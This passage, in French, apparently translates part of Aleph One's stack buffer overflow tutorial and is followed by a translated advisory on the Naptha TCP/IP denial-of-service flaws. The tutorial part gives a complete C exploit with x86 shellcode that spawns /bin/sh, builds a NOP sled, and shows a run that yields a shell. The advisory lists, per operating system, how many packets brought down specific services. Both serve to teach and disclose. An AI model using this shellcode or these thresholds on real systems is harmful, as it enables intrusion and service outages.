Comme on peut le voir deviner l'offset c'est pas super, voir presque impossible. Il faut au moins des centaines d'essais, voir même des milliers... Le problème est que l'on ne connaît pas exactement où l'adresse de notre code va commencer. Si on se trompe d'un byte de plus ou de moins on va avoir une faute de segmentation ou une instruction non valide. Un moyen d'augmenter nos chance est de mettre avant notre buffer overflow des instructions NOP. Tous les processeurs ont une instruction NOP qui fait une opération null. On va sent servir, et remplir la moitié de notre buffer avec. On met notre shell code au milieu et après on le fait suivre par l'adresse de retour. Si on est chanceux, il pointera dans les NOP qui seront exécutés jusqu'a ce qu'il rencontre notre shell code. Dans l'architecture Intel les NOP sont long d'un byte et dans le langage machine correspond à 0x90. Voici l'allure de notre stack (les N représentent les NOP) :

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack

On écris donc un nouvel exploit

exploit3.c

#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}

Une bonne taille pour notre buffer est de 100 bytes de plus que le buffer sur lequel on tente l'overflow. Cela place notre buffer à la fin du buffer que l'on veut "overflower" laissant beaucoup de place aux NOP mais réécrivant toujours sur l'adresse de retour vec l'adresse que l'on veut. Le buffer que l'on essayer "d'overflower" est long de 512 bytes, donc on va utiliser 612. On va donc essayer notre programme de test avec ce nouvel exploit.

[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$

 

Naptha : DoS into TCP/IP Stack

> Razor Advisories CAN 2000-1039
> CERT Advisories CA-2000-21

Vue d'ensemble

Une nouvelle catégorie de vulnérabilités DoS a été découverte, et Naphta est le nom générique la désignant. Les vulnérabilités proviennent de faiblesses dans la manière dont la pile TCP/IP et les applications réseau manipulent l'état d'une connexion TCP.

Systèmes Affectés

Une forte proportion des applications et systèmes réseau 

Constructeur Produit Vulnérable état TCP Patch/Workaround disponible ?
Compaq Tru64 UNIX V4.0F Oui établie Pas encore de patch disponible
FreeBSD FreeBSD 4.0-REL Oui établie Pas encore de patch disponible
General Linux Linux 2.0 kernel-based systems Oui établie Pas encore de patch disponible
Hewlett-Packard HP-UX 11.00 Oui établie Pas encore de patch disponible
IBM AIX 4.3 Non N/A N/A
Microsoft Windows 95,98,98SE Oui FIN-WAIT-1 Workaround disponible ici
Microsoft Windows NT 4.0 SP6a Oui FIN-WAIT-1 / établie Patch disponible ici
Microsoft Windows 2000 Non N/A N/A
Novell Netware 5 SP1 Oui établie Pas encore de patch disponible
Red Hat Red Hat Linux 7.0 Non N/A N/A
Red Hat Red Hat Linux 6.1 Kernel 2.2.12 Oui établie Pas encore de patch disponible
SGI IRIX 6.5.7m Oui établie Pas encore de patch disponible
Slackware Slackware Linux 4.0 Oui établie Pas encore de patch disponible
Sun Solaris 7, 8 Oui établie Pas encore de patch disponible
 

Notes

Compaq - Tru64 UNIX V4.0F
Deux services ont été testés, portmapper (port TCP 111) et finger (port TCP 79). Ces services ont été choisis parce que le finger fonctionne de l'inetd et le portmapper fonctionne sans lui. 

Le kernel de Tru64 UNIX semble être quelque peu robuste contre des attaques de Naptha. L'envoi de 20000 paquets au port TCP 111 n'a causé aucune dégradation évidente d'exécution sur l'hôte de Tru64 UNIX (sauf que d'autres tentatives de requêtes sur le portmapper n'ont pas aboutie). La commande de netstat a montré une valeur équilibrée de 4100 connexions ÉTABLIES. 

Cependant, envoyer quelques 100 paquets au TCP 79 a eu comme conséquence la création de trop de processus du démon fingerd pour que le système continue l'exécution normale. La tentative de commencer un nouveau processus d'un login shell a eu comme conséquence l'erreur "no more process". Il est possible que l'attaque du démon fingerd aurait été moins pertinente avec une configuration différente d'inetd, ou avec différents paramètres du kernel. 

FreeBSD - FreeBSD 4.0-REL
En testant FreeBSD, quelques démons/ports spécifiques ont été visés. Pour certains, la stabilité du système dans l'ensemble peut être affectée. Les démons visés lors de ce test ne sont pas nécessairement fautifs pour les problèmes encourus. 

SSH
Est devenu inutilisable après 495 connexions au port ssh. Chaque connexion a commencé une instance du démon qui a rapidement épuisé les traitements disponibles de fichier ; le système signale "too many open files in the system". Après approximativement 30 minutes les connexions commencent à se terminer et le système redevient utilisable. 

NFS
Stoppe le fonctionnement après 964 paquets au port de NFS. Tandis que le reste du système ne semblait pas affecté, les connexions ne se sont pas terminée. 

BIND
A pris 961 connexions de TCP avant que le kernel signale "file table is full", et que le service TCP tombe en panne. UDP DNS a semblé inchangé. Ces connexions requiert un long temps d'attente avant de se terminer, au moins une heure. 

Note : Ces services/ports peuvent être pareillement affectés sur d'autres variantes de Linux et d'Unix. 

General Linux - Linux 2.0 kernel-based systems

TELNET
Le démon telnetd est mort après 500 paquets dans l'état ÉTABLI. Le démon telnetd n'a jamais récupéré, et ainsi beaucoup de ressources ont été épuisées, comme la mémoire, à tel point que le système a dû être relancé pour récupérer. 

RPC
Le démon RPC a arrêté de répondre après 442 paquets dans l'état ÉTABLI. Comme l'attaque telnetd, on a compromis de la mémoire et d'autres ressources et le système a dû être relancé pour récupérer. 

Hewlett-Packard - HP-UX 11.00
Deux services ont été testés, portmapper et telnet. Ces services ont été choisis parce que le telnet fonctionne avec inetd et le portmapper fonctionne sans lui. 

TELNET
HP-UX semble avoir une certaine protection. Il cesse de répondre aux paquets de Naptha après plusieurs centaines de la même adresses IP. Cependant, jusqu'à ce qu'il soit possible de faire répondre le telnetd avec "Telnet device drivers missing: No such device". Il récupère tout de même assez vite. 

PORTMAPPER
Après plusieurs centaines de sessions de Naptha TCP, une session de telnet au port 111 sera immédiatement déconnectée. Cet état cassé dure beaucoup plus longtemps que le problème de telnet. 

Microsoft - Windows 95,98,98SE
Laisser un grand nombre de connexions en FIN-WAIT-1 cause NetBIOS et les services WWW sur Windows 95, 98, et 98SE de Microsoft à échouer et à ne pas relancer. 

Microsoft - Windows NT 4.0 SP6a
Exploiter l'état ÉTABLI sur le port 139 (netbios-ssn), cause la mort du service après 1010 paquets. Le port 135 (loc-srv) est mort après 7929 paquets. A noter que si le port 139 avait été précédemment détruit par Naptha, le port 135 serai mort après 2 paquets. Si l'attaque Naptha faisait une pause, le port 135 récupérerait mais serait immédiatement indisponible si l'attaque de Naptha était reprise. Quand le port 135 est mort, l'utilisation de l'unité de traitement arithmétique serait utilisée 100% et demeurerait dans cet état jusqu' à une réinitialisation.

Laisser un grand nombre de connexions en FIN-WAIT-1 cause NetBIOS et les services WWW sur Windows NT 4.0 de Microsoft à échouer et à ne pas relancer. 

Novell - Netware 5 SP1
Verrouillé après 3000 connexions ouvertes sur le port 524, utilisation à 100% des 64 Mo de RAM et du CPU. Le serveur n'avait toujours pas terminé les connexions ni récupéré de mémoire après 12 heures laissées en veille. 

Red Hat - Red Hat Linux 6.1 Kernel 2.2.12

SSH
En utilisant l'état ÉTABLI, le sshd est devenu inutilisable après 519 paquets. L'utilisation de l'unité de traitement arithmétique a augmentée, rendant l'activité sur le système lente. Les processus démon engendrés ont empêcher de récupérer, bien que par la suite toutes les connexions en état ÉTABLI se sont terminées après environ 2 heures. 

RPC
En utilisant l'état ÉTABLI, le démon RPC a cessé de répondre aux requêtes légitimes au bout d'environ 200 paquets, et est devenu inutilisable après 994 paquets. Le démon a dû être stoppé et relancé pour récupérer. 

SRP Telnet daemon
Après 92 paquets, le démon telnet SRP-enabled a été surchargé. La reprise a exigé une réinitialisation pour effacer les processus et les connexions ÉTABLIE, qui ont eu des problèmes à se terminer toutes seules. 

SGI - IRIX 6.5.7m
Deux services ont été testé, portmapper (port TCP 111) et sgi-dgl (port TCP 5232. Ces services ont été choisi parce que sgi-dgl fontionne avec inetd et portmapper fonctionne sans lui. 

Le kernel IRIX semble résister convenablement aux attaques Naptha. L'envoi de 20000 paquets au port TCP 111 n'a causé aucune dégradation évidente d'exécution sur l'hôte Irix (sauf que d'autres tentatives de requêtes sur portmapper n'ont pas aboutie). La commande netstat a montré une valeur équilibrée de 195 connexions ÉTABLIES. 

Cependant, envoyer quelques 100 paquets au TCP 5232 a eu comme conséquence la création de trop de processus du démon dgl pour que le système continue l'exécution normale. La tentative de commencer un nouveau processus d'un login shell a eu comme conséquence l'erreur "no more process". Il est possible que l'attaque du démon dgl aurait été moins pertinente avec une configuration différente d'inetd, ou avec différents paramètres du kernel. 

Slackware - Slackware Linux 4.0

TELNET
Après 224 paquets ÉTABLI, le service TCP est tombé en panne et aucun autre processus ne peut être lancer. Un rebootage sauvage est nécessaire pour récupérer (ctrl-alt-suppr ne fonctionne pas). 

RPC
Après 448 paquets ÉTABLI, le service TCP est tombé en panne et aucun autre processus ne peut être lancer. Comme pour telnet, un rebootage sauvage est nécessaire pour récupérer. 

Sun - Solaris 7, 8
Deux services ont été testé, portmapper et telnet. Ces services ont été choisi parce que telnet fonctionne avec inetd et portmapper fonctionne sans lui.